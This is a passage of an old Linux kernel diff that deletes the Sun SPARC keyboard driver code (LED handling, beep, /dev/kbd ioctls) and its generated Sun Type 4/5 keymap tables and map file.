(up_flag) { - /* handle the case that two shift or control - keys are depressed simultaneously */ - if (k_down[value]) - k_down[value]--; - } else - k_down[value]++; - - if (k_down[value]) - shift_state |= (1 << value); - else - shift_state &= ~ (1 << value); - - /* kludge, no joke... */ - if (up_flag && shift_state != old_state && npadch != -1) { - put_queue(npadch & 0xff); - npadch = -1; - } -} - -/* called after returning from RAW mode or when changing consoles - - recompute k_down[] and shift_state from key_down[] */ -/* maybe called when keymap is undefined, so that shiftkey release is seen */ -void compute_shiftstate(void) -{ - int i, j, k, sym, val; - - shift_state = 0; - for(i=0; i < SIZE(k_down); i++) - k_down[i] = 0; - - for(i=0; i < SIZE(key_down); i++) - if(key_down[i]) { /* skip this word if not a single bit on */ - k = i*BITS_PER_LONG; - for(j=0; jledmode = LED_SHOW_IOCTL; - } else - kbd->ledmode = LED_SHOW_FLAGS; - set_leds(); -} - -static struct ledptr { - unsigned int *addr; - unsigned int mask; - unsigned char valid:1; -} ledptrs[3]; - -void register_leds(int console, unsigned int led, - unsigned int *addr, unsigned int mask) { - struct kbd_struct *kbd = kbd_table + console; - if (led < 3) { - ledptrs[led].addr = addr; - ledptrs[led].mask = mask; - ledptrs[led].valid = 1; - kbd->ledmode = LED_SHOW_MEM; - } else - kbd->ledmode = LED_SHOW_FLAGS; -} - -static inline unsigned char getleds(void){ - struct kbd_struct *kbd = kbd_table + fg_console; - unsigned char leds; - - if (kbd->ledmode == LED_SHOW_IOCTL) - return ledioctl; - leds = kbd->ledflagstate; - if (kbd->ledmode == LED_SHOW_MEM) { - if (ledptrs[0].valid) { - if (*ledptrs[0].addr & ledptrs[0].mask) - leds |= 1; - else - leds &= ~1; - } - if (ledptrs[1].valid) { - if (*ledptrs[1].addr & ledptrs[1].mask) - leds |= 2; - else - leds &= ~2; - } - if (ledptrs[2].valid) { - if (*ledptrs[2].addr & ledptrs[2].mask) - leds |= 4; - else - leds &= ~4; - } - } - return leds; -} - -/* - * This routine is the bottom half of the keyboard interrupt - * routine, and runs with all interrupts enabled. It does - * console changing, led setting and copy_to_cooked, which can - * take a reasonably long time. - * - * Aside from timing (which isn't really that important for - * keyboard interrupts as they happen often), using the software - * interrupt routines for this thing allows us to easily mask - * this when we don't want any of the above to happen. Not yet - * used, but this allows for easy and efficient race-condition - * prevention later on. - */ -static void kbd_bh(void) -{ - unsigned char leds = getleds(); - unsigned char kbd_leds = vcleds_to_sunkbd(leds); - - if (kbd_leds != sunkbd_ledstate) { - ledstate = leds; - sunkbd_ledstate = kbd_leds; - send_cmd(SKBDCMD_SETLED); - send_cmd(kbd_leds); - } -} - -/* Support for keyboard "beeps". */ - -/* Timer routine to turn off the beep after the interval expires. */ -static void sunkbd_kd_nosound(unsigned long __unused) -{ - send_cmd(SKBDCMD_BELLOFF); -} - -/* - * Initiate a keyboard beep. If the frequency is zero, then we stop - * the beep. Any other frequency will start a monotone beep. The beep - * will be stopped by a timer after "ticks" jiffies. If ticks is 0, - * then we do not start a timer. - */ -static void sunkbd_kd_mksound(unsigned int hz, unsigned int ticks) -{ - unsigned long flags; - static struct timer_list sound_timer = { NULL, NULL, 0, 0, - sunkbd_kd_nosound }; - - save_flags(flags); - cli(); - - del_timer(&sound_timer); - - if (hz) { - send_cmd(SKBDCMD_BELLON); - if (ticks) { - sound_timer.expires = jiffies + ticks; - add_timer(&sound_timer); - } - } else - send_cmd(SKBDCMD_BELLOFF); - - restore_flags(flags); -} - -extern void (*kd_mksound)(unsigned int hz, unsigned int ticks); - -int kbd_init(void) -{ - int i, opt_node; - struct kbd_struct kbd0; - extern struct tty_driver console_driver; - - kbd0.ledflagstate = kbd0.default_ledflagstate = KBD_DEFLEDS; - kbd0.ledmode = LED_SHOW_FLAGS; - kbd0.lockstate = KBD_DEFLOCK; - kbd0.modeflags = KBD_DEFMODE; - kbd0.kbdmode = VC_XLATE; - - for (i = 0 ; i < MAX_NR_CONSOLES ; i++) - kbd_table[i] = kbd0; - - ttytab = console_driver.table; - - kd_mksound = sunkbd_kd_mksound; - - /* XXX Check keyboard-click? property in 'options' PROM node XXX */ - if(sparc_cpu_model != sun4) { - opt_node = prom_getchild(prom_root_node); - opt_node = prom_searchsiblings(opt_node, "options"); - i = prom_getintdefault(opt_node, "keyboard-click?", -1); - if(i != -1) - sunkbd_clickp = 1; - else - sunkbd_clickp = 0; - } else { - sunkbd_clickp = 0; - } - init_bh(KEYBOARD_BH, kbd_bh); - mark_bh(KEYBOARD_BH); - return 0; -} - -/* /dev/kbd support */ - -#define KBD_QSIZE 32 -static Firm_event kbd_queue [KBD_QSIZE]; -static int kbd_head, kbd_tail; -char kbd_opened; -static struct wait_queue *kbd_wait; -static struct fasync_struct *kb_fasync; - -void -push_kbd (int scan) -{ - int next = (kbd_head + 1) % KBD_QSIZE; - - if (scan == KBD_IDLE) - return; - if (next != kbd_tail){ - kbd_queue [kbd_head].id = scan & KBD_KEYMASK; - kbd_queue [kbd_head].value=scan & KBD_UP ? VKEY_UP : VKEY_DOWN; - kbd_queue [kbd_head].time = xtime; - kbd_head = next; - } - if (kb_fasync) - kill_fasync (kb_fasync, SIGIO); - wake_up_interruptible (&kbd_wait); -} - -static long -kbd_read (struct inode *inode, struct file *f, char *buffer, unsigned long count) -{ - struct wait_queue wait = { current, NULL }; - char *end, *p; - - /* Return EWOULDBLOCK, because this is what the X server expects */ - if (kbd_head == kbd_tail){ - if (f->f_flags & O_NONBLOCK) - return -EWOULDBLOCK; - add_wait_queue (&kbd_wait, &wait); - while (kbd_head == kbd_tail && !(current->signal & ~current->blocked)){ - current->state = TASK_INTERRUPTIBLE; - schedule (); - } - current->state = TASK_RUNNING; - remove_wait_queue (&kbd_wait, &wait); - } - /* There is data in the keyboard, fill the user buffer */ - end = buffer+count; - p = buffer; - for (; p < end && kbd_head != kbd_tail; p += sizeof (Firm_event)){ - copy_to_user_ret((Firm_event *)p, &kbd_queue [kbd_tail], sizeof(Firm_event), -EFAULT); -#ifdef KBD_DEBUG - printk ("[%s]", kbd_queue [kbd_tail].value == VKEY_UP ? "UP" : "DOWN"); -#endif - kbd_tail++; - kbd_tail %= KBD_QSIZE; - } - return p-buffer; -} - -/* Needed by X */ -static int -kbd_fasync (struct inode *inode, struct file *filp, int on) -{ - int retval; - - retval = fasync_helper (inode, filp, on, &kb_fasync); - if (retval < 0) - return retval; - return 0; -} - -static unsigned int kbd_poll (struct file *f, poll_table *wait) -{ - poll_wait(&kbd_wait, wait); - if (kbd_head != kbd_tail) - return POLLIN | POLLRDNORM; - return 0; -} - -static int -kbd_ioctl (struct inode *i, struct file *f, unsigned int cmd, unsigned long arg) -{ - unsigned char c; - unsigned char leds = 0; - int value; - - switch (cmd){ - case KIOCTYPE: /* return keyboard type */ - put_user_ret(sunkbd_type, (int *) arg, -EFAULT); - break; - case KIOCGTRANS: - put_user_ret(TR_UNTRANS_EVENT, (int *) arg, -EFAULT); - break; - case KIOCTRANS: - get_user_ret(value, (int *) arg, -EFAULT); - if (value != TR_UNTRANS_EVENT) - return -EINVAL; - break; - case KIOCLAYOUT: - put_user_ret(sunkbd_layout, (int *) arg, -EFAULT); - break; - case KIOCSDIRECT: -#ifndef CODING_NEW_DRIVER - get_user_ret(value, (int *) arg, -EFAULT); - if(value) - kbd_redirected = fg_console + 1; - else - kbd_redirected = 0; - kbd_table [fg_console].kbdmode = kbd_redirected ? VC_RAW : VC_XLATE; -#endif - break; - case KIOCCMD: - get_user_ret(value, (int *) arg, -EFAULT); - c = (unsigned char) value; - switch (c) { - case SKBDCMD_CLICK: - case SKBDCMD_NOCLICK: - send_cmd(c); - return 0; - case SKBDCMD_BELLON: - kd_mksound(1,0); - return 0; - case SKBDCMD_BELLOFF: - kd_mksound(0,0); - return 0; - default: - return -EINVAL; - } - case KIOCSLED: - get_user_ret(c, (unsigned char *) arg, -EFAULT); - - if (c & LED_SCRLCK) leds |= (1 << VC_SCROLLOCK); - if (c & LED_NLOCK) leds |= (1 << VC_NUMLOCK); - if (c & LED_CLOCK) leds |= (1 << VC_CAPSLOCK); - compose_led_on = !!(c & LED_CMPOSE); - setledstate(kbd_table + fg_console, leds); - break; - case KIOCGLED: - put_user_ret(vcleds_to_sunkbd(getleds()), (unsigned char *) arg, -EFAULT); - break; - case FIONREAD: /* return number of bytes in kbd queue */ - { - int count; - - count = kbd_head - kbd_tail; - put_user_ret((count < 0) ? KBD_QSIZE - count : count, (int *) arg, -EFAULT); - return 0; - } - default: - printk ("Unknown Keyboard ioctl: %8.8x\n", cmd); - return -EINVAL; - } - return 0; -} - -static int -kbd_open (struct inode *i, struct file *f) -{ - if (kbd_opened) - return 0; - kbd_opened = fg_console + 1; - kbd_head = kbd_tail = 0; - return 0; -} - -static void -kbd_close (struct inode *i, struct file *f) -{ - if (kbd_redirected) - kbd_table [kbd_opened-1].kbdmode = VC_XLATE; - kbd_redirected = 0; - kbd_opened = 0; - - kbd_fasync (i, f, 0); -} - -static struct -file_operations kbd_fops = -{ - NULL, /* seek */ - kbd_read, /* read */ - NULL, /* write */ - NULL, /* readdir */ - kbd_poll, /* poll */ - kbd_ioctl, /* ioctl */ - NULL, /* mmap */ - kbd_open, /* open */ - kbd_close, /* close */ - NULL, /* fsync */ - kbd_fasync, /* fasync */ - NULL, /* check_media_change */ - NULL, /* revalidate */ -}; - -__initfunc(void keyboard_zsinit(void)) -{ - int timeout = 0; - - /* Test out the leds */ - sunkbd_type = 255; - send_cmd(SKBDCMD_RESET); - while((sunkbd_type==255) && timeout < 500000) { - udelay(100); - timeout += 20; - } - - if(timeout>=500000) { - printk("keyboard: not present\n"); - return; - } - - if(sunkbd_type != SUNKBD_TYPE4) { - printk("Sun TYPE %d keyboard detected ", sunkbd_type); - } else { - udelay(200); - timeout=0; - while(timeout++ < 500000) - barrier(); - printk("Sun TYPE %d keyboard detected ", - ((sunkbd_layout & SUNKBD_LOUT_TYP5_MASK) ? 5 : 4)); - } - if(sunkbd_type == SUNKBD_TYPE2) - sunkbd_clickp = 0; - - if(sunkbd_clickp) { - send_cmd(SKBDCMD_CLICK); - printk("with keyclick\n"); - } else { - send_cmd(SKBDCMD_NOCLICK); - printk("without keyclick\n"); - } - - /* Dork with led lights, then turn them all off */ - send_cmd(SKBDCMD_SETLED); send_cmd(0xf); /* All on */ - send_cmd(SKBDCMD_SETLED); send_cmd(0x0); /* All off */ - - /* Register the /dev/kbd interface */ - if (register_chrdev (KBD_MAJOR, "kbd", &kbd_fops)){ - printk ("Could not register /dev/kbd device\n"); - return; - } - return; -} diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/sunkeymap.c linux/drivers/sbus/char/sunkeymap.c --- linux-2.1.29/drivers/sbus/char/sunkeymap.c Sat May 10 18:17:28 1997 +++ linux/drivers/sbus/char/sunkeymap.c Wed Dec 31 19:00:00 1969 @@ -1,262 +0,0 @@ -/* Do not edit this file! It was automatically generated by */ -/* loadkeys --mktable defkeymap.map > defkeymap.c */ - -#include -#include -#include - -u_short plain_map[NR_KEYS] = { - 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf100, 0xf101, 0xf109, - 0xf102, 0xf10a, 0xf103, 0xf10b, 0xf104, 0xf701, 0xf105, 0xf200, - 0xf106, 0xf107, 0xf108, 0xf703, 0xf603, 0xf11d, 0xf200, 0xf209, - 0xf601, 0xf200, 0xf200, 0xf600, 0xf602, 0xf01b, 0xf031, 0xf032, - 0xf033, 0xf034, 0xf035, 0xf036, 0xf037, 0xf038, 0xf039, 0xf030, - 0xf02d, 0xf03d, 0xf060, 0xf07f, 0xf115, 0xf03d, 0xf30d, 0xf30c, - 0xf200, 0xf200, 0xf310, 0xf200, 0xf114, 0xf009, 0xfb71, 0xfb77, - 0xfb65, 0xfb72, 0xfb74, 0xfb79, 0xfb75, 0xfb69, 0xfb6f, 0xfb70, - 0xf05b, 0xf05d, 0xf07f, 0xf20e, 0xf307, 0xf308, 0xf309, 0xf30b, - 0xf200, 0xf200, 0xf117, 0xf200, 0xf702, 0xfb61, 0xfb73, 0xfb64, - 0xfb66, 0xfb67, 0xfb68, 0xfb6a, 0xfb6b, 0xfb6c, 0xf03b, 0xf027, - 0xf05c, 0xf201, 0xf30e, 0xf304, 0xf305, 0xf306, 0xf300, 0xf200, - 0xf118, 0xf200, 0xf208, 0xf700, 0xfb7a, 0xfb78, 0xfb63, 0xfb76, - 0xfb62, 0xfb6e, 0xfb6d, 0xf02c, 0xf02e, 0xf02f, 0xf700, 0xf00a, - 0xf301, 0xf302, 0xf303, 0xf200, 0xf200, 0xf200, 0xf11b, 0xf207, - 0xf200, 0xf020, 0xf200, 0xf119, 0xf200, 0xf30a, 0xf200, 0xf200, -}; - -u_short shift_map[NR_KEYS] = { - 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf10a, 0xf10b, 0xf113, - 0xf10c, 0xf10a, 0xf10d, 0xf10b, 0xf10e, 0xf701, 0xf10f, 0xf200, - 0xf110, 0xf111, 0xf112, 0xf703, 0xf603, 0xf11d, 0xf200, 0xf203, - 0xf601, 0xf200, 0xf200, 0xf600, 0xf602, 0xf01b, 0xf021, 0xf040, - 0xf023, 0xf024, 0xf025, 0xf05e, 0xf026, 0xf02a, 0xf028, 0xf029, - 0xf05f, 0xf02b, 0xf07e, 0xf07f, 0xf115, 0xf200, 0xf30d, 0xf30c, - 0xf200, 0xf200, 0xf310, 0xf200, 0xf114, 0xf009, 0xfb51, 0xfb57, - 0xfb45, 0xfb52, 0xfb54, 0xfb59, 0xfb55, 0xfb49, 0xfb4f, 0xfb50, - 0xf07b, 0xf07d, 0xf07f, 0xf20e, 0xf307, 0xf308, 0xf309, 0xf30b, - 0xf200, 0xf200, 0xf117, 0xf200, 0xf702, 0xfb41, 0xfb53, 0xfb44, - 0xfb46, 0xfb47, 0xfb48, 0xfb4a, 0xfb4b, 0xfb4c, 0xf03a, 0xf022, - 0xf07c, 0xf201, 0xf30e, 0xf304, 0xf305, 0xf306, 0xf300, 0xf200, - 0xf20b, 0xf200, 0xf208, 0xf700, 0xfb5a, 0xfb58, 0xfb43, 0xfb56, - 0xfb42, 0xfb4e, 0xfb4d, 0xf03c, 0xf03e, 0xf03f, 0xf700, 0xf200, - 0xf301, 0xf302, 0xf303, 0xf200, 0xf200, 0xf200, 0xf11b, 0xf207, - 0xf200, 0xf020, 0xf200, 0xf20a, 0xf200, 0xf30a, 0xf200, 0xf200, -}; - -u_short altgr_map[NR_KEYS] = { - 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf50c, 0xf50d, 0xf515, - 0xf50e, 0xf516, 0xf50f, 0xf517, 0xf510, 0xf701, 0xf511, 0xf200, - 0xf512, 0xf513, 0xf514, 0xf703, 0xf603, 0xf11d, 0xf200, 0xf202, - 0xf601, 0xf200, 0xf200, 0xf600, 0xf602, 0xf200, 0xf200, 0xf040, - 0xf200, 0xf024, 0xf200, 0xf200, 0xf07b, 0xf05b, 0xf05d, 0xf07d, - 0xf05c, 0xf200, 0xf200, 0xf200, 0xf115, 0xf200, 0xf30d, 0xf30c, - 0xf200, 0xf200, 0xf310, 0xf200, 0xf114, 0xf200, 0xfb71, 0xfb77, - 0xf918, 0xfb72, 0xfb74, 0xfb79, 0xfb75, 0xfb69, 0xfb6f, 0xfb70, - 0xf200, 0xf07e, 0xf200, 0xf20e, 0xf911, 0xf912, 0xf913, 0xf30b, - 0xf200, 0xf200, 0xf117, 0xf200, 0xf702, 0xf914, 0xfb73, 0xf917, - 0xf919, 0xfb67, 0xfb68, 0xfb6a, 0xfb6b, 0xfb6c, 0xf200, 0xf200, - 0xf200, 0xf201, 0xf30e, 0xf90e, 0xf90f, 0xf910, 0xf90a, 0xf200, - 0xf118, 0xf200, 0xf208, 0xf700, 0xfb7a, 0xfb78, 0xf916, 0xfb76, - 0xf915, 0xfb6e, 0xfb6d, 0xf200, 0xf200, 0xf200, 0xf700, 0xf200, - 0xf90b, 0xf90c, 0xf90d, 0xf200, 0xf200, 0xf200, 0xf11b, 0xf207, - 0xf200, 0xf200, 0xf200, 0xf119, 0xf200, 0xf30a, 0xf200, 0xf200, -}; - -u_short ctrl_map[NR_KEYS] = { - 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf100, 0xf101, 0xf109, - 0xf102, 0xf10a, 0xf103, 0xf10b, 0xf104, 0xf701, 0xf105, 0xf200, - 0xf106, 0xf107, 0xf108, 0xf703, 0xf603, 0xf11d, 0xf200, 0xf204, - 0xf601, 0xf200, 0xf200, 0xf600, 0xf602, 0xf200, 0xf200, 0xf000, - 0xf01b, 0xf01c, 0xf01d, 0xf01e, 0xf01f, 0xf07f, 0xf200, 0xf200, - 0xf01f, 0xf200, 0xf000, 0xf008, 0xf115, 0xf200, 0xf30d, 0xf30c, - 0xf200, 0xf200, 0xf310, 0xf200, 0xf114, 0xf200, 0xf011, 0xf017, - 0xf005, 0xf012, 0xf014, 0xf019, 0xf015, 0xf009, 0xf00f, 0xf010, - 0xf01b, 0xf01d, 0xf008, 0xf20e, 0xf307, 0xf308, 0xf309, 0xf30b, - 0xf200, 0xf200, 0xf117, 0xf200, 0xf702, 0xf001, 0xf013, 0xf004, - 0xf006, 0xf007, 0xf008, 0xf00a, 0xf00b, 0xf00c, 0xf200, 0xf007, - 0xf01c, 0xf201, 0xf30e, 0xf304, 0xf305, 0xf306, 0xf300, 0xf200, - 0xf118, 0xf200, 0xf208, 0xf700, 0xf01a, 0xf018, 0xf003, 0xf016, - 0xf002, 0xf00e, 0xf00d, 0xf200, 0xf20e, 0xf07f, 0xf700, 0xf200, - 0xf301, 0xf302, 0xf303, 0xf200, 0xf200, 0xf200, 0xf11b, 0xf207, - 0xf200, 0xf000, 0xf200, 0xf119, 0xf200, 0xf30a, 0xf200, 0xf200, -}; - -u_short shift_ctrl_map[NR_KEYS] = { - 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, - 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf701, 0xf200, 0xf200, - 0xf200, 0xf200, 0xf200, 0xf703, 0xf603, 0xf11d, 0xf200, 0xf200, - 0xf601, 0xf200, 0xf200, 0xf600, 0xf602, 0xf200, 0xf200, 0xf000, - 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, - 0xf01f, 0xf200, 0xf200, 0xf200, 0xf115, 0xf200, 0xf30d, 0xf30c, - 0xf200, 0xf200, 0xf310, 0xf200, 0xf114, 0xf200, 0xf011, 0xf017, - 0xf005, 0xf012, 0xf014, 0xf019, 0xf015, 0xf009, 0xf00f, 0xf010, - 0xf200, 0xf200, 0xf200, 0xf20e, 0xf307, 0xf308, 0xf309, 0xf30b, - 0xf200, 0xf200, 0xf117, 0xf200, 0xf702, 0xf001, 0xf013, 0xf004, - 0xf006, 0xf007, 0xf008, 0xf00a, 0xf00b, 0xf00c, 0xf200, 0xf200, - 0xf200, 0xf201, 0xf30e, 0xf304, 0xf305, 0xf306, 0xf300, 0xf200, - 0xf118, 0xf200, 0xf208, 0xf700, 0xf01a, 0xf018, 0xf003, 0xf016, - 0xf002, 0xf00e, 0xf00d, 0xf200, 0xf200, 0xf200, 0xf700, 0xf200, - 0xf301, 0xf302, 0xf303, 0xf200, 0xf200, 0xf200, 0xf11b, 0xf207, - 0xf200, 0xf200, 0xf200, 0xf119, 0xf200, 0xf30a, 0xf200, 0xf200, -}; - -u_short alt_map[NR_KEYS] = { - 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf500, 0xf501, 0xf509, - 0xf502, 0xf50a, 0xf503, 0xf50b, 0xf504, 0xf701, 0xf505, 0xf200, - 0xf506, 0xf507, 0xf508, 0xf703, 0xf603, 0xf11d, 0xf200, 0xf209, - 0xf210, 0xf200, 0xf200, 0xf600, 0xf211, 0xf81b, 0xf831, 0xf832, - 0xf833, 0xf834, 0xf835, 0xf836, 0xf837, 0xf838, 0xf839, 0xf830, - 0xf82d, 0xf83d, 0xf860, 0xf87f, 0xf115, 0xf200, 0xf30d, 0xf30c, - 0xf200, 0xf200, 0xf310, 0xf200, 0xf114, 0xf809, 0xf871, 0xf877, - 0xf865, 0xf872, 0xf874, 0xf879, 0xf875, 0xf869, 0xf86f, 0xf870, - 0xf85b, 0xf85d, 0xf200, 0xf87f, 0xf907, 0xf908, 0xf909, 0xf30b, - 0xf200, 0xf200, 0xf117, 0xf200, 0xf702, 0xf861, 0xf873, 0xf864, - 0xf866, 0xf867, 0xf868, 0xf86a, 0xf86b, 0xf86c, 0xf83b, 0xf827, - 0xf85c, 0xf80d, 0xf30e, 0xf904, 0xf905, 0xf906, 0xf900, 0xf200, - 0xf118, 0xf200, 0xf208, 0xf700, 0xf87a, 0xf878, 0xf863, 0xf876, - 0xf862, 0xf86e, 0xf86d, 0xf82c, 0xf82e, 0xf82f, 0xf700, 0xf200, - 0xf901, 0xf902, 0xf903, 0xf200, 0xf200, 0xf200, 0xf11b, 0xf207, - 0xf200, 0xf820, 0xf200, 0xf119, 0xf200, 0xf30a, 0xf200, 0xf200, -}; - -u_short ctrl_alt_map[NR_KEYS] = { - 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf500, 0xf501, 0xf509, - 0xf502, 0xf50a, 0xf503, 0xf50b, 0xf504, 0xf701, 0xf505, 0xf200, - 0xf506, 0xf507, 0xf508, 0xf703, 0xf603, 0xf11d, 0xf200, 0xf200, - 0xf601, 0xf200, 0xf200, 0xf600, 0xf602, 0xf200, 0xf200, 0xf200, - 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, 0xf200, - 0xf200, 0xf200, 0xf200, 0xf200, 0xf115, 0xf200, 0xf30d, 0xf30c, - 0xf200, 0xf200, 0xf20c, 0xf200, 0xf114, 0xf200, 0xf811, 0xf817, - 0xf805, 0xf812, 0xf814, 0xf819, 0xf815, 0xf809, 0xf80f, 0xf810, - 0xf200, 0xf200, 0xf20c, 0xf20e, 0xf307, 0xf308, 0xf309, 0xf30b, - 0xf200, 0xf200, 0xf117, 0xf200, 0xf702, 0xf801, 0xf813, 0xf804, - 0xf806, 0xf807, 0xf808, 0xf80a, 0xf80b, 0xf80c, 0xf200, 0xf200, - 0xf200, 0xf201, 0xf30e, 0xf304, 0xf305, 0xf306, 0xf300, 0xf200, - 0xf118, 0xf200, 0xf208, 0xf700, 0xf81a, 0xf818, 0xf803, 0xf816, - 0xf802, 0xf80e, 0xf80d, 0xf200, 0xf200, 0xf200, 0xf700, 0xf200, - 0xf301, 0xf302, 0xf303, 0xf200, 0xf200, 0xf200, 0xf11b, 0xf207, - 0xf200, 0xf200, 0xf200, 0xf119, 0xf200, 0xf30a, 0xf200, 0xf200, -}; - -ushort *key_maps[MAX_NR_KEYMAPS] = { - plain_map, shift_map, altgr_map, 0, - ctrl_map, shift_ctrl_map, 0, 0, - alt_map, 0, 0, 0, - ctrl_alt_map, 0 -}; - -unsigned int keymap_count = 7; - -/* - * Philosophy: most people do not define more strings, but they who do - * often want quite a lot of string space. So, we statically allocate - * the default and allocate dynamically in chunks of 512 bytes. - */ - -char func_buf[] = { - '\033', '[', '[', 'A', 0, - '\033', '[', '[', 'B', 0, - '\033', '[', '[', 'C', 0, - '\033', '[', '[', 'D', 0, - '\033', '[', '[', 'E', 0, - '\033', '[', '1', '7', '~', 0, - '\033', '[', '1', '8', '~', 0, - '\033', '[', '1', '9', '~', 0, - '\033', '[', '2', '0', '~', 0, - '\033', '[', '2', '1', '~', 0, - '\033', '[', '2', '3', '~', 0, - '\033', '[', '2', '4', '~', 0, - '\033', '[', '2', '5', '~', 0, - '\033', '[', '2', '6', '~', 0, - '\033', '[', '2', '8', '~', 0, - '\033', '[', '2', '9', '~', 0, - '\033', '[', '3', '1', '~', 0, - '\033', '[', '3', '2', '~', 0, - '\033', '[', '3', '3', '~', 0, - '\033', '[', '3', '4', '~', 0, - '\033', '[', '1', '~', 0, - '\033', '[', '2', '~', 0, - '\033', '[', '3', '~', 0, - '\033', '[', '4', '~', 0, - '\033', '[', '5', '~', 0, - '\033', '[', '6', '~', 0, - '\033', '[', 'M', 0, - '\033', '[', 'P', 0, -}; - -char *funcbufptr = func_buf; -int funcbufsize = sizeof(func_buf); -int funcbufleft = 0; /* space left */ - -char *func_table[MAX_NR_FUNC] = { - func_buf + 0, - func_buf + 5, - func_buf + 10, - func_buf + 15, - func_buf + 20, - func_buf + 25, - func_buf + 31, - func_buf + 37, - func_buf + 43, - func_buf + 49, - func_buf + 55, - func_buf + 61, - func_buf + 67, - func_buf + 73, - func_buf + 79, - func_buf + 85, - func_buf + 91, - func_buf + 97, - func_buf + 103, - func_buf + 109, - func_buf + 115, - func_buf + 120, - func_buf + 125, - func_buf + 130, - func_buf + 135, - func_buf + 140, - func_buf + 145, - 0, - 0, - func_buf + 149, - 0, -}; - -struct kbdiacr accent_table[MAX_DIACR] = { - {'`', 'A', '\300'}, {'`', 'a', '\340'}, - {'\'', 'A', '\301'}, {'\'', 'a', '\341'}, - {'^', 'A', '\302'}, {'^', 'a', '\342'}, - {'~', 'A', '\303'}, {'~', 'a', '\343'}, - {'"', 'A', '\304'}, {'"', 'a', '\344'}, - {'O', 'A', '\305'}, {'o', 'a', '\345'}, - {'0', 'A', '\305'}, {'0', 'a', '\345'}, - {'A', 'A', '\305'}, {'a', 'a', '\345'}, - {'A', 'E', '\306'}, {'a', 'e', '\346'}, - {',', 'C', '\307'}, {',', 'c', '\347'}, - {'`', 'E', '\310'}, {'`', 'e', '\350'}, - {'\'', 'E', '\311'}, {'\'', 'e', '\351'}, - {'^', 'E', '\312'}, {'^', 'e', '\352'}, - {'"', 'E', '\313'}, {'"', 'e', '\353'}, - {'`', 'I', '\314'}, {'`', 'i', '\354'}, - {'\'', 'I', '\315'}, {'\'', 'i', '\355'}, - {'^', 'I', '\316'}, {'^', 'i', '\356'}, - {'"', 'I', '\317'}, {'"', 'i', '\357'}, - {'-', 'D', '\320'}, {'-', 'd', '\360'}, - {'~', 'N', '\321'}, {'~', 'n', '\361'}, - {'`', 'O', '\322'}, {'`', 'o', '\362'}, - {'\'', 'O', '\323'}, {'\'', 'o', '\363'}, - {'^', 'O', '\324'}, {'^', 'o', '\364'}, - {'~', 'O', '\325'}, {'~', 'o', '\365'}, - {'"', 'O', '\326'}, {'"', 'o', '\366'}, - {'/', 'O', '\330'}, {'/', 'o', '\370'}, - {'`', 'U', '\331'}, {'`', 'u', '\371'}, - {'\'', 'U', '\332'}, {'\'', 'u', '\372'}, - {'^', 'U', '\333'}, {'^', 'u', '\373'}, - {'"', 'U', '\334'}, {'"', 'u', '\374'}, - {'\'', 'Y', '\335'}, {'\'', 'y', '\375'}, - {'T', 'H', '\336'}, {'t', 'h', '\376'}, - {'s', 's', '\337'}, {'"', 'y', '\377'}, - {'s', 'z', '\337'}, {'i', 'j', '\377'}, -}; - -unsigned int accent_table_size = 68; diff -u --recursive --new-file linux-2.1.29/drivers/sbus/char/sunkeymap.map linux/drivers/sbus/char/sunkeymap.map --- linux-2.1.29/drivers/sbus/char/sunkeymap.map Sat May 10 18:17:28 1997 +++ linux/drivers/sbus/char/sunkeymap.map Wed Dec 31 19:00:00 1969 @@ -1,375 +0,0 @@ -# Keyboard map for the Sun Type4/Type5 keyboards -# found on SparcStations -keymaps 0-2,4-5,8,12 -# -# -# Stop/L1 -keycode 0x01 = -# SND_LOWER -keycode 0x02 = -# Again/L2 -keycode 0x03 = -# SND_LOUDER -keycode 0x04 = -keycode 0x05 = F1 F11 Console_13 - control keycode 0x05 = F1 - alt keycode 0x05 = Console_1 - control alt keycode 0x05 = Console_1 -keycode 0x06 = F2 F12 Console_14 - control keycode 0x06 = F2 - alt keycode 0x06 = Console_2 - control alt keycode 0x06 = Console_2 -keycode 0x07 = F10 F20 Console_22 - control keycode 0x07 = F10 - alt keycode 0x07 = Console_10 - control alt keycode 0x07 = Console_10 -keycode 0x08 = F3 F13 Console_15 - control keycode 0x08 = F3 - alt keycode 0x08 = Console_3 - control alt keycode 0x08 = Console_3 -keycode 0x09 = F11 F11 Console_23 - control keycode 0x09 = F11 - alt keycode 0x09 = Console_11 - control alt keycode 0x09 = Console_11 -keycode 0x0a = F4 F14 Console_16 - control keycode 0x0a = F4 - alt keycode 0x0a = Console_4 - control alt keycode 0x0a = Console_4 -keycode 0x0b = F12 F12 Console_24 - control keycode 0x0b = F12 - alt keycode 0x0b = Console_12 - control alt keycode 0x0b = Console_12 -keycode 0x0c = F5 F15 Console_17 - control Keycode 0x0c = F5 - alt keycode 0x0c = Console_5 - control alt keycode 0x0c = Console_5 -keycode 0x0d = AltGr -keycode 0x0e = F6 F16 Console_18 - control keycode 0x0e = F6 - alt keycode 0x0e = Console_6 - control alt keycode 0x0e = Console_6 -# BLANK KEY on type 5 keyboards -keycode 0x0f = -keycode 0x10 = F7 F17 Console_19 - control keycode 0x10 = F7 - alt keycode 0x10 = Console_7 - control alt keycode 0x10 = Console_7 -keycode 0x11 = F8 F18 Console_20 - control keycode 0x11 = F8 - alt keycode 0x11 = Console_8 - control alt keycode 0x11 = Console_8 -keycode 0x12 = F9 F19 Console_21 - control keycode 0x12 = F9 - alt keycode 0x12 = Console_9 - control alt keycode 0x12 = Console_9 -keycode 0x13 = Alt -keycode 0x14 = Up -keycode 0x15 = Pause -# Print Screen -keycode 0x16 = -keycode 0x17 = Scroll_Lock Show_Memory Show_Registers - control keycode 0x17 = Show_State - alt keycode 0x17 = Scroll_Lock -keycode 0x18 = Left - alt keycode 0x18 = Decr_Console -# Props/L3 -keycode 0x19 = -# UNDO/L4 -keycode 0x1a = -keycode 0x1b = Down -keycode 0x1c = Right - alt keycode 0x1c = Incr_Console -keycode 0x1d = Escape Escape - alt keycode 